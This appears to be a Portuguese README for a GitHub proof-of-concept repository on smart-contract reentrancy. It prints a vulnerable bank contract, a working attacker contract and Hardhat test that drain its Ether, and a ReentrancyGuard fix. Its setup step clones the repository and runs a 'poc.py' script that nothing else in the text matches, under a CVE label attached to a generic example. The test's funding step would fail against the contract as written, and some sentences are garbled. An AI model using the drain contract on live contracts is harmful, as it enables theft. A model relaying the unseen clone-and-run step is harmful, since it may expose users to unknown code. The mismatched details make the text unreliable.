
POC de vulnerabilidade de ataque de reentrância em contratos inteligentes
validação de vulnerabilidade de ataque de reentrância em smart contract
Este repositório contém uma Prova de Conceito (PoC) demonstrando uma vulnerabilidade de ataque de reentrância em smart contracts Ethereum. A PoC inclui um smart contract vulnerável, um contract atacante e instruções para reproduzir o ataque em um ambiente de teste local.
Reentrância é uma vulnerabilidade comum em smart contracts Ethereum na qual um contract externo pode fazer chamadas repetidas de volta ao contract original antes que a primeira chamada seja concluída, potencialmente drenando fundos ou manipulando o estado. Esta PoC demonstra como um atacante pode explorar um contract vulnerável para roubar Ether.
O contract vulnerável (VulnerableBank) permite que usuários depositem e retirem Ether. No entanto, ele não lida adequadamente com atualizações de estado antes de fazer chamadas externas, tornando-o suscetível à reentrância. O contract atacante (Attacker) explora isso chamando recursivamente a função withdraw para drenar o saldo de Ether do contract.
withdraw em VulnerableBank envia Ether para o chamador antes de atualizar o saldo do usuário.withdraw novamente em sua função fallback, drenando os fundos do contract.Para executar esta PoC, você precisa de:
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
Abaixo estão os dois contracts usados nesta PoC:
Este contract simula um banco simples que permite depósitos e retiradas, mas é vulnerável à reentrância.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnerable: External call before state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// State update after external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Este contract explora a vulnerabilidade de reentrância chamando recursivamente a função withdraw.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Initiate the attack
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fallback function to recursively call withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Withdraw stolen Ether to attacker's address
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Um script de teste Hardhat está incluído para automatizar a simulação do ataque.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Deploy VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Deploy Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Fund VulnerableBank with 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Initial balances
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Execute attack with 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Check final balances
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
Para prevenir ataques de reentrância, considere as seguintes práticas recomendadas:
ReentrancyGuard da OpenZeppelin) para prevenir chamadas recursivas.transfer ou send: Esses métodos limitam o gás, reduzindo o risco de reentrância.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Update state first
balances[msg.sender] = 0;
// Then make external call
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.